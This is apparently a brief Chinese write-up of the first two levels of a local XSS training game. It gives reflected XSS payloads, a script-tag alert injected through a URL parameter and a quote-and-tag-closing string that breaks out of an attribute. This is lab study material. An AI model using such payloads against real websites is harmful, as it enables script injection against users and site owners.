xss挑战之旅wp

Level 1  -  180831

第一关很简单，开胃菜

payload: http://localhost/xss_game/level1.php?name=test123<script>alert(1)</script>

Level 2  -  180831

找到两个思路：

payload: test123"><script>alert(1)</script>#

第一个点被转义了，但是第二个点正常。

只要能实现标签和引号闭合就可以了。

第二种思路是借鉴别人的思路。